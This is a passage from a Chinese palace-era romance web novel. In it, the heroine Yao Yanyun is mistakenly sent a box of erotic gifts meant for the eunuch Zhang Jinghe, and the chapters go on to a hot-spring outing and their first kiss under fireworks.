什么啊,难道自己表现得很明显吗?她张了张嘴,终究还是没反驳,只端起茶盏抿了口,掩饰着脸上的微红。 两人又闲聊了几句家常,姚砚云忽然想起什么,眉头微微蹙起:“我先前虽读过些书,却不懂朝堂上的弯弯绕绕。张公公也从不和我说这些,我只知道他是秉笔太监……在皇上跟前伺候,你能不能和我说说,如今内阁和司礼监,到底是个什么情况?” 姚砚云以前看过一些史书,总见文官与宦官针锋相对,恨不得置对方于死地。张景和身在司礼监,万一哪天得罪了人,自己难免会被连累。多知道些情况,心里也能有个底。 “这事儿我倒是听家里人提过几句,司礼监和内阁素来不合,明里暗里的争斗就没断过。”方淑宁顿了顿,语气里添了些无奈,“可具体牵涉到哪些人、如今谁占了上风,哪里是我们这些深宅里的女人能摸透的?” 姚砚云默默点头,心里的担忧却没少半分。是啊,就算问清楚了又如何?她能做的,也只是盼着张景和能稳当些,别像史书里那些大宦官似的落个凄惨下场。可转念一想,自己终究是跟了他,若是他真出了事,自己又能去哪?想到这儿,她只觉得心口发沉,只能在心里默默祈愿,盼着老天能多眷顾他们几分。 紧接着方淑宁又聊到了她的婚事 姚砚云问:“对了,开春你就要成亲了,日子过得真快。如今心里觉得怎么样?还像以前那样别扭吗?” 方淑宁捧着茶盏,指尖轻轻划着杯壁,语气平淡了许多:“也没什么别扭的了。不知道他从哪儿听来的消息,知道我介意他那些通房,竟给了她们一笔钱,让她们都出府了。前几日还特意写了信来,说以后不会再有这样的事。” 姚砚云道:“那你是怎么想的。” 方淑宁抬眼望向窗外,语气里带着几分释然:“这辈子既然注定要嫁给他,他愿意好好和我过日子,我也试着和他好好过下去吧。总不能一直拧着,最后苦的还是自己”—— 作者有话说:张公公:怎么不算亲上了 第89章 经过十多日的调养,姚砚云的身子总算是恢复的差不多了,只是张景和特意叮嘱过,让她暂且安心在府中休养,尽量少外出。这半月来,张景和只回府两次,每次也不过是陪她吃一顿饭,便又匆匆离去。 这日午后,暖融融的阳光透过窗棂洒在软榻上,姚砚云正半倚着软垫翻看话本,刚看到精彩处,院外忽然传来富贵的脚步声,伴着轻轻的叩门声:“姚姑娘,老爷让我给你送些东西来。” 姚砚云放下书卷起身开门,接过富贵递来的紫檀木盒子。盒子雕着缠枝莲纹,边角还镶着细碎的银箔,一看便知做工精致。张景和时常会给她送东西,各式礼物从未断过,可每次收到他特意送来的东西,姚砚云心头还是会泛起一阵细细的暖意,甜丝丝的。 她将盒子放在桌面上,轻轻掀开盖子,目光触及里面的物件时,笑容却骤然僵住。那是一根通体莹白的玉件,约半尺长,手感温润细腻,可再仔细看,那形状却透着说不出的怪异。恍惚间,姚砚云脑中轰然一响,她猛地反应过来——这竟是一根玉势! 惊得她手一抖,玉势“当啷”一声摔在了地板上,她脸色瞬间涨得通红,心跳如擂鼓,慌忙俯身去捡,指尖刚碰到玉件,便看见边角处磕出了一道细小的裂痕。 她一下子就慌乱了起来,张景和给她送这个东西做什么,难不成他真的想开了,想对自己为所欲为吗?她强压着心头的慌乱,目光又落回盒子里,才发现里面还放着三瓶小药,盒子最底下压着一张素笺。 姚砚云拿起素笺,一行行看下去,脸色瞬间变得青一阵白一阵。笺上的字迹潦草,内容却直白得令人羞耻——说那药瓶里的药丸是专供宦官助兴所用,服下后能“快活似神仙”;还提那玉势是西域传来的“奇器”,竟能随心意变温变凉,末尾还特意说明,此等好物,万金难寻。 姚砚云只觉得脸在发烫,慌忙将素笺放在一边。这些东西,难道是张景和特意找人定制的?他心里,竟早就存x了这样的心思吗? 张景和刚走出乾清宫,正准备乘轿回府,半路上却撞见了陈秉正。 “那群盐商送的礼,你拆来看了?”陈秉正凑上前来,声音压得极低。 张景和漫不经心地扯了扯袖口:“不过是些金银珠宝之类的俗物。” 这次盐商进京,不仅给司礼监、户部的官员都送了礼,连皇上都得了他们的孝敬。先前盐商们在赈灾时立了功,皇上不仅宣旨表扬,还收下了他们送的贺礼,有了皇上这个先例,底下的人才敢顺着台阶收下这份“心意”。 陈秉正见他这副毫不在意的模样,便知道他定然没拆过礼盒,索性凑到他耳边,低声说了几句。 张景和听完嗤笑了一声:“这群人,倒真是闲得发慌!” 他倒也不算意外。早有耳闻京中有些宦官格外热衷这类玩意,就连司礼监的另一位秉笔太监,先前还曾在他面前炫耀过,说用了这些东西,和相好的相处时“滋味不同寻常”。只是他当时没多想,只当盐商们送的是寻常财物,便让提前出宫的吉祥,把礼盒转送给姚砚云——也算补偿这些日子自己没能好好陪她。 在宫里时,张景和还没反应过来,可上了轿,眼看快到张府,他忽然浑身一僵,那些玩意若是落到姚砚云手里,后果不堪设想! 轿子刚在张府大门外停稳,张景和便急匆匆跳下来,叫府里的人把吉祥叫来。 吉祥见他脸色阴沉,脚步都带着风,便问:“老爷,有何事吩咐。” 张景和道:“那盐商给的东西,你放哪里了?” 吉祥愣了愣,如实回道:“老爷你不是吩咐过,让我把礼盒给姚姑娘送去吗?我已经转交富贵了。” 你说什么?已经送过去了?“张景和的声音陡然拔高,眼神瞬间冷了下来。吉祥被他这突如其来的质问吓了一跳,慌忙低下头:“老爷……我让富贵送去了,只是不知道他有没有交到姚姑娘手上……” “把富贵给我找来!”张景和语气很急。 不过片刻,富贵便慌慌张张地跑了过来。当听到富贵说“不久前刚把东西送到姚姑娘屋里”时,张景和只觉得一阵气血上涌,差点背过气去。 他顾不上多说,转身就往踏月轩的方向快步走去,脚步快得几乎带起了风。 刚走到门口,张景和便看见姚砚云正站在屋中,手里拿着那根玉势,低头不知在看什么。 姚砚云也没想到他会突然出现,惊得手一松,玉势再次摔在地上,这次竟直接断成了两半。清脆的碎裂声在屋内回荡,两人四目相对,空气瞬间凝固。 张景和沉步走到她身前,目光扫过桌面,三瓶小巧的瓷药瓶并排摆着,旁边那页素笺更是折出了几道明显的印子,显然是被人反复看过。他捏起素笺逐字读下去,起初眉峰紧蹙的着急,渐渐被一层化不开的阴云取代。 忽然他问:“这些东西,你都看过了?” 姚砚云见他脸色骤变,心尖跟着慌了。这些不是他特意送来的吗?怎么倒像是惹了他生气?她道:“看、看过了” “看过了”张景和低声重复着这三个字,心口像是被什么东西狠狠坠了一下,凉得发疼。脸色沉得更厉害了,连眼底的光都暗了下去。 姚砚云摸不透他的心思,她试探着轻轻唤了声:“公公” 张景和望着她澄澈的眼眸,一股难以言喻的窘迫与自卑如潮水般将他裹挟,只恨不能立刻转身,逃得无影无踪。 就算他是个阉人,他也想在心爱的女子面前撑着几分体面,想让她觉得自己是个能护着她的,顶天立地的男子汉,而这些东西的出现,赤裸裸地提醒他:他给不了她一个正常男子能给她的东西,连最基本的圆满都做不到。 沉默在屋里漫了许久,他苦笑了一下:“哦没什么,我就是过来看看你。” 转身要走时,手腕却被姚砚云轻轻拉住:“公公,你到底怎么了?” “无事。”他挣开她的手,脚步匆匆出了屋。 姚砚云望着他失魂落魄的背影,心里犯着嘀咕。许是从宫里出来太累了?她想着,先不扰他休息,等晚些一起吃了晚饭,再慢慢问清楚也好。 晚饭时,张景和终是先开了口,语气尽量放得平淡:“那些玩意儿你扔了便是,是那群盐商搞的鬼,别放在心上。” 姚砚云回了一句:“我知道了。” 可她还是觉得他今天有些不对劲,还是忍不住问:“公公,是不是今天太累了?要不我帮你按按肩?” 张景和抬眼看向她,眼底的阴云散了些,勉强勾了勾唇角:“还好,不碍事。” 此时两人也吃完饭了,他起身道:“你先回屋吧。” “可我还没帮你按呢。”姚砚云跟着站起来。 “等我需要的时候,再叫你。”他刻意避开她清澈的目光,眉宇间倦意更浓,语气也添了几分疏离。 姚砚云见他这般拒人千里的模样,也不好再强求,只得轻轻点头,轻手轻脚地退了出去,临走时还不忘悄悄回头望了他一眼。 她走后,偌大的厅堂瞬间陷入死寂,静得能听见烛火跳跃的噼啪声,还有自己沉重的呼吸。张景和随手拿起桌上一本话本——是上次姚砚云落在这儿的,可目光落在字上,心思却飘得老远,那些字句怎么也钻不进眼里。 怔愣了半晌,他猛地起身,心底一个声音叫嚣着:去看看她吧…… 可刚迈开半步,他又苦笑一声。 可刚推开屋门,就见姚砚云坐在门槛边,双手拢在袖里,正低头轻轻绞着指尖。 张景和问:“你在这里做什么” 姚砚云听见他的声音,立刻站起身,眼睛亮了亮:“我在等公公啊。” 张景和眉头微蹙,语气里带着不悦:“等我做什么?方才不是让你先回屋了?在这里坐着多凉啊,等冻坏了身子,有你哭的时候。” 姚砚云却笑了,眼角弯成了月牙:“方才公公说,需要的时候再叫我。我猜着你肯定很快就会找我,这不,我才坐了一会儿,你就出来了,是不是要找我呀?” 张景和望着她亮晶晶的眼睛,心里像被什么东西撞了一下,又酸又软。他慌忙别开眼,目光落在远处的屋檐上,声音轻得像声叹,又像句嗔怪:“姚砚云,你真是个傻瓜。” 姚砚云道:“公公你才是傻瓜。明明有话要和我说,却憋了一晚上,连看我的眼神都不对劲,现在终于忍不住要找我了,是不是?” 张景和喉结滚了滚,像被什么东西堵着,连句完整的话都说不出来,他伸手把她往身边拉了拉,然后俯身将人稳稳抱住,对她说了一句:“谢谢你。” 第90章 姚砚云其实还是有些冷的,被张景和伸手揽入怀中时,身子不自觉地往他温暖的怀里钻。 张景和低头望着怀中人,她这般依赖地贴着自己,模样娇憨得像个未谙世事的小姑娘。联想到这些时日她总绕在自己身边,问自己喜欢不喜欢她,又费心讨好他,他心中那点模糊的揣测,似乎有些了一些定论。 他早已暗中打听过往事,知道她与自己一样,皆是无依无靠的孤儿。想来,她大抵是想寻个可信赖的人认作兄长?求一份庇护?也让这自己世间多一处牵挂。 其实他想着,只要姚砚云愿意留在他身边,岁岁年年陪着他,便是认下这个妹妹又何妨?可念头刚起,他又想到,她若真成了自己的妹妹,终究是要嫁人的他既做了人家兄长,总不能霸占着自己的妹妹 两人相拥着缓缓步入屋内,姚砚云松开他,在桌旁坐下,手撑着下巴,一双清澈的眸子定定望着他:“公公你现在开心点了没?” 其实她压根不知他今晚是开心还是不开心,这样问,不过是想探探口风。她如今和张景和的关系,已经和当初不一样了,她自认为两人是有些情谊的,可她总觉得,自己与他的心,仍隔着万水千山。他待她是好的,可那颗心,却始终像裹着一层坚冰,密不透风。 他允许他有秘密,可他也不能总包裹着自己,不允许别人走进去一点。 张景和自然不会道出真正的缘由,只随口找了个借口:“宫里琐事本就繁杂,底下人办事又不尽心,今日倒叫他们惹得心烦。” 姚砚云闻言,x心中稍稍松了口气。 不多时,张景和想起今日从宫中带出的新茶,便起身取了茶叶,亲手为她冲泡。姚砚云捧着温热的茶盏,目光无意间扫过榻边,瞧见了那本眼熟的话本,是她上次拿过来的。 她眼睛一亮,笑着问道:“公公,这书好看么?” 张景和正为她添茶,闻言随口应道:“挺好看的。” 姚砚云放下茶盏,饶有兴致地追问:“那公公说说,书中的张惠为何要移情别恋?” 张景和手中的茶壶一顿,明显愣了神,片刻后才含糊道:“许是……不喜欢了罢?” 姚砚云似笑非笑地看了他一眼:“里面根本就没张惠这个人!” 张景和: 他确实未曾碰过这话本,被戳破后,脸上掠过一丝不易察觉的尴尬,干笑两声:“我向来不爱看这些闲书。” “若是不喜欢,公公直言便是,何必哄我?”姚砚云收起笑意,神色认真了几分。 见她这般,张景和心中微动,温声道:“下次不骗你了。” “我并非要逼公公看话本,”姚砚云望着他,眼神澄澈而恳切,“只是想告诉公公,往后有什么事,不妨对我直说。你我之间,本该坦诚相待。” 张景和望着她这般认真的模样,嘴角不自觉地漾开一抹浅笑:“如今胆子大了,都敢对着我讲大道理了?” 姚砚云这才后知后觉发现,自己方才绷着脸的样子,倒真像老师训诫学生,忍不住弯了弯眼:“那公公倒说说,小云这话到底有没有道理?” 张景和却没接话,只端起茶盏抿了口茶。 姚砚云盯着他的侧脸,忽然想起那根玉势,心头好奇又冒了出来,几乎是顺口就问:“公公,今日那玉势……当真不是你买的?” 这话一出口,张景和刚喝进嘴里的茶“噗”地一声全喷了出来:“不是!你想什么啊你!” 姚砚云看着他反应这般大,耳根红得能滴出血来,不禁感叹:真是一个纯情的公公啊 倒是自己想得太多了,还以为他真的开窍了,想对自己为所欲为了。说起来,她如今也算是张景和的女人了,可两人之间,除了寥寥几次拥抱,连半分实质性的亲近都没有。可拥抱这事儿,寻常朋友间也做得,哪里能算得什么特别的心意?上次玩骨牌他输了,明明该愿赌服输亲她一下,却还是找借口躲开了。 这么一想,姚砚云心里又泛起嘀咕:他大抵是不喜欢自己的吧?不然他怎么能忍得住不亲她呢? “公公……”她刚想再追问几句,话头却被张景和猛地打断。 “好了,别说了,该回去了。”张景和生怕她再说出什么惊世骇俗的话来,连忙起身催她,生怕迟一息功夫,她又有什么新想法了。 姚砚云愣了一下,下意识地“啊”了一声。 张景和已经拿起她的披风,递到她面前:“走了,我送你回去。” 姚砚云心里不大痛快,却还是不情不愿地接了披风,慢悠悠地起身。 一路上,她发现张景和走得极快,脚步急促得像是巴不得一步就把她送回踏月轩。说是送,两人却始终隔着半步距离,一前一后地走着,连句话都没再说。 姚砚云越走越觉得憋闷,走到半路,干脆停住脚步,在路边的石凳上坐了下来。张景和一心想着赶紧把这“麻烦”送回去,走了好一会儿才发觉身后没了动静,回头一看,哪里还有姚砚云的身影?只得又折回来找她。 远远便看见姚砚云坐在石凳上,仰着头望着夜空,不知道在看什么。张景和走上前,无奈地叹了口气:“又怎么了?小祖宗。” 姚砚云也不看他:“你不用管我啊,反正我也跟不上你的脚步。我在这儿看月亮呢,公公要是急着回去,便先走吧。” 张景和抬头看了眼漆黑的夜空,夜风正凉,刮在人身上带着寒意:“夜里风大,这里冷得很,赶紧回去,免得冻感冒了。要想看风景,等白天暖和了再出来便是。” 姚砚云撇了撇嘴:“白天哪有月亮看?” 张景和道:“我不是让你白天看月亮,是让你白天再出来玩。” 见姚砚云依旧坐在石凳上纹丝不动,张景和的语气沉了些:“怎么?现在连我的话都不肯听了?” 姚砚云垂着眸,声音轻轻的:“我腿痛,走不动了。公公要是嫌麻烦,叫三喜来扶我回去就好。” 张景和皱了皱眉,实在摸不透她怎么突然就闹起了脾气,明明前一刻还好好的,怎么说变脸就变脸?他心里想着,莫不是她又在试探自己底线?真的不能再惯着她了,再这样下去,张府的主人就变成她了! 他干笑了一声:“好啊!既然你不愿走,那便在这里坐到天亮吧!” 姚砚云这才看了他一眼:“公公慢走哦。” 张景和: 他咬了咬牙,一挥袖子,转身便走了。 回去路上他在想,这姚砚云时不时都会搞起一些小风浪出来,他已经习惯了,她是个聪明人,可不会让自己受委屈!想必自己前脚刚走,后脚她就回去了吧? 他又折返了回去,想验证自己说的,想看看姚砚云是不是,真的像自己想的那样,已经起身回去了。可远远望去,石凳上的身影依旧孤零零地坐着,夜风把她的披风吹得微微晃动,看着竟有几分可怜。 张景和瞬间气不打一处来! 他快步走过去,一路上已经在心里想好了要怎么责骂她,定要让她记着教训,下次再不敢这般任性。可当真的走到她身前,对上她那双澄澈又带无辜的双眼时,到了嘴边的狠话却突然说不出口了。 他几乎是无意识地蹲下身,背对着她,声音闷闷的:“上来吧。” 姚砚云眼底瞬间闪过一丝笑意,连忙手脚麻利地爬上他的背,双手轻轻揽住他的脖子,脸颊贴着他温热的后背,心里满是满意。 似乎张景和听懂了她的话,回去的路上,张景和的脚步慢了许多,不再像方才那般急促。 姚砚云微微侧着头,目光落在他的侧脸,她忽然觉得自己像是疯了,有那么一瞬间,竟想凑上去,在他的脸颊上亲一口…… 好几次,她的唇都快要碰到他的皮肤,却又在最后一刻硬生生忍住,只是趴在他的背上,一瞬不瞬地看着他的侧脸,心跳得越来越快。 忽然,她轻轻开口:“公公,我有个疑问,你能帮我解答一下吗?” 张景和想都没想,直接拒绝:“不能。” 姚砚云不满地用胳膊肘轻轻撞了撞他的背,又勒了勒他的脖子:“为什么啊?我都还没说是什么问题呢!” 张景和被她勒得咳嗽了一声:“你问的东西就没几个正经的。” 姚砚云立刻不服气地反驳:“公公怎么能这么说我!你这话要是被别人听见,还以为我是个不正经的姑娘呢!我这么好的人,被你这么一说,往后怕是都嫁不出去了!” 张景和道:“怎么,又想嫁人了啊?” 姚砚云心想,就算自己想嫁,以后也嫁不出去了,谁敢娶一个,跟过当朝秉笔太监的女人呢?刚好这个秉笔太监又那么小气,除非是官阶远在他之上,不然谁不怕被他弄死呢? 这么说来,她得一辈子粘着他了啊?真是“孽缘”啊。 她又问:“公公,我现在能问了吗?” 张景和道:“不能!”《 》 90-100 第91章 踏月轩这边很热闹,姚砚云正与马冬梅、小元一同清点行囊。 今日午时,吉祥从宫里回来和姚砚云说,下午府里的小厮和侍卫会护送她出城,去城郊的庄子泡温泉。当然这都是张景和安排的。 姚砚云想着人多更热闹,便遣人去问芸娘是否同行。芸娘回话,说冯大祥这几日难得在家,她想好好陪陪他,便不来了。姚砚云又想叫方淑宁与方淑惠,可转念一想,方淑惠向来不喜张景和,此次他也会同行,便作罢了。 最后同行的,便是马冬梅与小元和三喜。姚砚云本来也叫上了六婶,只是她得了风寒,怕是经不起折腾,也没有跟着来。 申时末,日影西斜,一行人登上马车,缓缓驶出城门。马冬梅与小元从未泡过温泉,一路叽叽喳喳,说着对温泉的好奇与憧憬,姚砚云也很开心,一来可以出去玩,二来,又能与张景和共处,光是想想,心头便漾起丝丝甜意。 出城后,走了不过半炷香的路程,马车便在一处幽静雅致的庄子前停下。抬头望去x,朱红门牌上“漱玉泉”三个大字,笔力遒劲,透着几分清雅之气。 吉祥在旁介绍道:“姚姑娘,这漱玉泉虽地处偏僻,却山清水秀,景致极佳,京中不少富商高官都爱来这儿休憩。此次老爷特意将整个庄子包了下来,专供姑娘玩乐。” 话音刚落,庄子的庄主便亲自迎了出来,满脸堆笑地向姚砚云问好。他先是细细讲了漱玉泉的由来与趣闻,又道:“姚姑娘,咱们这儿不单温泉水质上乘,厨下的点心菜肴也都是精心烹制,在京师颇有薄名,如果你这边没忌口的话,招牌菜,到时候小的都给你准备试试。” 姚砚云听得认真,不时点头回应,对这地方愈发满意。 随后,侍女们引着三人各自前往客房。姚砚云的房间是庄子里最好的一间,格局宽敞雅致,陈设精巧,最让她惊喜的是,屋内竟自带一座不小的汤池,池边铺着柔软的锦垫,水汽氤氲,透着暖意。 这漱玉泉的每个客房都配有专属汤池,除此之外,还有四五处公共汤池,男女分区,互不打扰。如今庄子被张景和包下,便更显清净。姚砚云与马冬梅、小元商议了一番,选了一处最大的公共汤池,打算一同泡泡解乏。 三人褪去外衫,仅着贴身的素色亵衣亵裤,缓缓踏入汤池。温温热的泉水漫过肌肤,带着淡淡的清香,疲惫瞬间消散大半。侍女们端来特制的桂花糕、杏仁酪与新鲜瓜果,搁在池边的矮几上。三人一边品尝着点心,一边随意闲谈,好不惬意。 聊着聊着,话题渐渐落到了各自的身材上。 马冬梅盯着姚砚云,眼神里满是羡慕:“你咋这么瘦,这里还这么丰/。韵呢。” 姚砚云道:“不过是天生的罢了,我还嫌这样呢,一到夏天便格外闷热。” “我倒想长成你这样,”马冬梅叹了口气,轻轻拍了拍自己的腰腹,“我呀,肉都长错了地方,净往脸上、腰上堆,偏生这儿没半点起伏。” 姚砚云无所谓地说了一句:“大又有什么用。” 三人在汤池中泡了约莫两刻钟,侍女适时上前,递上干净柔软的布巾,轻声提醒道:“姑娘们,温泉虽好,却不宜久泡,不然容易头晕乏力,损伤元气。”三人闻言,便不再耽搁,各自起身,裹上布巾,返回了自己的房间。 姚砚云回到房中,站在铜镜前,拿起柔软的锦帕,细细擦拭着脸上与脖颈残留的水迹,看着镜子前自己明显的曲线,她又想到上次张景和吃她豆腐那次脸一下子就红了。 她探身向窗外望去,天色早已暗透。见张景和还没来,又走向吉祥的住处。 “吉祥公公,公公有说他什么时候到吗?” 吉祥道:“老爷倒是没说这个,姚姑娘你放心,老爷说来就一定会来的,这会儿想来是路上或许有琐事耽搁。” 姚砚云轻轻点头:“那我先回房了,若是公公到了,还劳烦你告知我一声。” 回到自己的客房后,姚砚云随意在书架上,拿了一本诗集看了起来,后面倦意渐渐袭来,她撑着下巴,眼皮越来越沉,最后竟趴在桌案上睡着了。 不知过了多久,一道温热的气息拂过耳畔,伴随着轻促的笑声。“醒醒,醒醒,再睡下去,太阳都要晒屁股了。” 姚砚云迷迷糊糊睁开眼,便见张景和弯着身子,他的眉眼近在咫尺,指尖正轻轻刮过她的鼻尖。 她慌忙抬手,擦了擦嘴角流的口水,脸颊微红,:“公公你什么时候来的。” 张景和直起身,在她身侧的椅子上坐下:“刚到没多久,你睡得还挺沉的。”他目光扫过桌案上翻开的诗集,又问,“还没吃过晚饭吧?” “嗯,”姚砚云点点头,眼神亮晶晶的,“想着等你一起吃。” 简单一句话,却让张景和心头一暖。原来被人等吃饭是这种滋味啊,像是有股暖流缓缓淌过心底,熨帖得很。他唇角不自觉上扬,声音也柔和了一些:“那正好,我也饿了。” 屋内西侧设有一方小膳厅,铺着软垫的矮桌早已备好。两人刚坐下,四名侍女便端着托盘鱼贯而入,一道道菜肴摆上桌面,色泽鲜亮,香气扑鼻,不多不少正好十二道。为首的侍女躬身站在一旁,柔声细语地介绍起来:“姑娘,公子,这道是清蒸大白鱼,选用的是今日刚捕捞的活鱼,去骨留肉,蒸至八分熟,淋上秘制酱汁……” “行了,你们下去吧。”她的话还没说完,便被张景和冷冷打断。 那侍女脸上的笑意瞬间僵住,见张景和神色冷峻,竟吓得身子微微一颤,连忙低下头,带着其他侍女躬身退了出去,连大气都不敢喘。 姚砚云看着侍女仓皇离去的背影,忍不住看向张景和:“你何必这般凶,人家也是好心给咱们介绍菜品。” 张景和拿起筷子,夹了一块鱼肉放进她碗里:“聒噪得很。” 姚砚云撇了撇嘴,也不再多言,低头尝了尝碗里的鱼肉,鲜嫩滑腻,滋味确实不错。两人一边吃饭,一边随意聊着天。 她才知道,张景和明日一大早就要回去了,心里有些失望:“我以为你会在这边呆几天呢。” 好不容易才有这样的机会与他独处,满心期待着能一起赏山玩水,没想到这般仓促。 张景和道:“你若是喜欢,便在这边多玩几日,庄子里的人都已吩咐好了,会好好伺候你,想吃什么想玩什么,只管吩咐便是。” 饭后歇了半盏茶的功夫,张景和便带着姚砚云出了屋,往庄子后院走去。 这后院当真开阔,夜色里隐约可见满院名贵花木的剪影,暗香浮动。青石小径蜿蜒至中央的凉亭,旁边架着一架乌木秋千,绳上缠着素色锦缎,看起来倒是有几分雅致。 张景和带着她在秋千上坐下,姚砚云仰头望了望漫天星子,侧头问他:“这是做什么呢?看月亮吗?” 他唇角勾了勾:“你不是说要看烟花吗?今日便让你看个尽兴。” 姚砚云眼睛瞬间亮了:“比西州的烟花还好看吗?” “等会儿便知。”张景和说着,抬手吹了一声哨。哨音清越,刚消散在风里,忽然一道赤红的光箭刺破夜幕,‘咻’地一声直上云霄,尾部拖着细碎的金芒,像流星坠向天际。半空骤然炸开一朵硕大的牡丹。 紧接着,数道彩光接踵而至。 烟花此起彼伏,暖黄的灯笼在风中轻轻摇曳,光影与烟花的亮色重叠,照得姚砚云的脸颊泛起红晕,她仰着头,看得格外认真,眸中盛满了漫天星火。 坐在她身旁的张景和,目光却未落在烟花上,而是凝望着她被火光映亮的侧脸。 “好看吗?”他轻声问。 姚砚云用力点头,眼睛仍盯着夜空:“好看!比西州的还好看!” 张景和又问:“喜欢吗?” 她又笑着点头,眉眼弯弯。 见她这般开心,张景和才缓缓抬眼,与她一同望着漫天烟花。 姚砚云仰头望了许久,脖颈泛起细密的酸意,便轻轻侧过脸来。目光落在他的侧颜上,火光跳跃着,将他眼底的笑意映得一清二楚,她一直觉得他笑起来很好看,就比如此时 不知道为何,她觉得此时,心跳忽然快得不行,她想着,幸好此时夜空里的烟花,噼里啪啦的声响震耳欲聋,将她如擂鼓般的心跳严严实实地掩了去。 又看了他一眼,她心头一动,悄悄挪动身子,一点点靠近他。趁他不备,飞快地在他温热的脸颊上亲了一下 恰在此时,一朵硕大的银花烟花升上夜空,轰然炸开,漫天银雨洒落,将张景和脸上的震惊照得一清二楚。他瞳孔骤缩,脸颊上的触感滚烫得惊人,几乎是瞬间便弹起身,下意识地就要跑。 姚砚云早有准备,伸手便攥住了他的衣摆,指尖紧紧扣着布料,仰头望着他:“公公,这是要去哪里?” 张景和被她这大胆的举动惊得浑身一僵,脸颊涨得通红,连话都说不顺畅了,只讷讷地站着,手足无措。 姚砚云威胁他:“你若是不坐回来,信不信我现在,就把你衣服扒下来?” 张景和是真真切切相信,她做得出来这般大胆的事。他喉结滚动了一下,终究是不敢再动,乖乖地坐回了石凳上,耳尖红得几乎要滴血。 他刚坐下,姚砚云便毫不犹豫地起身,坐到了他的腿/。上,顺势抓住他的双手,绕/到自己腰/。间,轻轻按住,让他环/。抱着自己:“公公,是不是应该礼尚往来啊?” 张景x和彻底被这突如其来的亲近吓傻了,浑身僵硬得像块顽石,连头都不敢抬,顿了半晌才憋出一句驴唇不对马嘴的话:“好冷啊,回去吧” 姚砚云哪里肯依,反而往他怀里又偎了偎,温热的气息拂过他的耳廓:“你知道我是什么意思的。” 张景和这才迫不得已抬起头,试图板起脸装出几分严肃模样:“别闹了,你给我起来” 姚砚云道:“不要,除非公公应了我。” 张景和早已紧张得语无伦次,舌尖打了结似的,他颠三倒四说了很多话,最后来了一句:“我不会” 姚砚云闻言,低低地笑了起来,她抬手捧住他的脸,强迫他看着自己:“那我来教你啊。” 话音落,她微微俯身,柔软的唇瓣先是落在他的额间,再往下,掠过他微颤的眼睫,浅吻落在眼睑上,最后覆上他泛红的脸颊。 吻落尽时,她看着他,声音软得能化出水来:“公公,这样你学会了吗?” 第92章 张景和的心跳得飞快,像有面小鼓在胸腔里疯狂擂动。一股莫名的燥热还猛地窜上来,顺着脊椎往四肢百骸蔓延,仿佛有什么东西要冲破束缚涌出来。他强压着翻涌的情绪,一时失语地看着姚砚云 他伸手抓住揽在自己腰上的那双手,问她:“你知不知道你在做什么?” 姚砚云被他抓着手,脸颊瞬间红透,害羞地低了下头,小声地道:“知道啊,我在亲你呗” 张景和喉结狠狠滚动了一下,没再说话,只是一只手穿过她的膝弯,另一只手托着她的腰,小心翼翼地把她从自己腿上抱了下来,轻轻放在秋千上。 秋千绳轻轻晃了晃,带起一阵短暂的风,之后便是死一般的沉默。 姚砚云看着张景和紧绷的侧脸,心里泛起一丝涩意,他怎么是这个反应?难道是自己这般大胆的举动吓到他了吧? 她犹豫了片刻,还是问了出来:“公公,你怎么了?” 张景和的视线落在远处沉沉的夜色里,声音平静得近乎冷淡:“没什么。夜里风凉,回去吧。” 姚砚云: 听到这话,她有点不开心,心头那点涩意渐渐蔓延开来,堵得她有些难受,张景和竟然只给她这些反应,被一个大美女亲了,他应该很开心才对啊。她问:“公公你不喜欢我这样吗?” 喜欢吗?或许是喜欢的。渴望吗?或许比自己以为的还要渴望。她的话语总那般熨帖人心,她的举动总带着讨他欢心的巧思,她说过,像他这样的才是真男人。可他也记得清清楚楚,她曾说过,她最厌阉人,她不可能爱上一个阉人。 他有些时候,他会沉迷在她真心实意的笑容里,甚至分不清那些话,那些是真的,那些是假的,也不敢深想,怕到头来,不过是一场镜花水月的空欢喜 姚砚云看着他模样,就知道他又要退缩了,只是她还是没搞清楚,他到底是在质疑她的真心,还是打从心底里不喜欢她?这两者的区别太大了,如果他真的对自己没有半分情意,那她也不会死缠烂打。 她也不强求他的吻了,只是抬眸望着他:“公公,你觉得我怎么样?” 张景和闻言一怔,眉宇间掠过一丝茫然:“什么怎么样?” “便是我这个人,在公公眼里,究竟是如何的?”姚砚云追问着。 张景和沉默了片刻,喉间滚出三个字:“挺好的。” “挺好的,是多好?”姚砚云不依不饶,眼底带着执拗的期盼,“是仅仅不讨厌,还是……有半分不一样?” 张景和再次陷入沉默,目光错开她的视线。 姚砚云看着他的反应,轻轻叹了口气:“那我知道了。小云想求公公一件事。” 张景和这才回过神,转身过头来看她,眼神复杂:“什么事。” 姚砚云垂下眼,声音平静得像在说别人的事:“我想你放我出府。如今芸娘那边已经没什么问题了,我对你也没什么用了。不如你给我一笔钱,让我走,我以后也不会再烦着你了。” 张景和听到这话,几乎是立刻从秋千上弹了起来,眼里瞬间覆上一层怒意,声音也拔高了几分:“你休想!” 他就知道!他就知道她今晚这般主动是有目的的!果不其然,绕来绕去,还是想离开他! 姚砚云对他这般激烈的反应,心底竟掠过一丝欢喜,可脸上却故意摆出委屈巴巴的模样,抬眸望着他:“公公,你这话是什么意思?为何突然这般凶我?我不过是想寻一条生路,难道也错了吗?” 张景和上前一步,攥住她的手腕:“就是你听到的意思!关于你离开张府的事,你想都不用想!” 接着张景和不想聊这个问题了,又催着姚砚云回去,二人相携出了庭院,踏着廊下昏黄的灯影往客房而去。两人都心事重重,脚下步子轻缓,不觉间竟已至姚砚云的住处。 进门没多久,一名侍从捧着叠得齐整的衣物进来,见了张景和,躬身禀道:“大人,你带过来的换洗衣服,这边帮你熨好了。” 张景和目光扫过那衣物,眉峰微蹙:“送至我的客房便可。” 侍从闻言一愣,躬身回道:“回大人,庄主吩咐,你是与这位姑娘一同前来,便特意备了这间上好的客房给二位。莫非是房间有不妥,或是大人想换一处?” “谁说我要住这里的!”张景和反问。 这时姚砚云含着浅笑对那侍从道:“没有的事,不换,你下去吧。” 侍从应声退下后。姚砚云转过身,抬眸望着张景和:“公公,这屋内有两个寝室。你今晚就在这里住吧,况且这屋子这般空旷,我一个人住着,实在有些怕啊。” 见张景和不说话,神色似有迟疑,姚砚云轻轻上前一步,指尖拉住他的衣袖,轻轻摇了摇:“公公,你就答应我嘛。” 张景和想着,不过是各居一室,倒也无伤大雅,沉吟片刻,点了点头。 见他应下,姚砚云眉眼瞬间亮了起来,转身便往屋内的汤池去了。行至池边,她回头望了眼张景和,笑意盈盈地邀道:“公公,要不要一起泡会儿?很舒服哦。” 张景和拒绝了,说有些困,想早点休息。 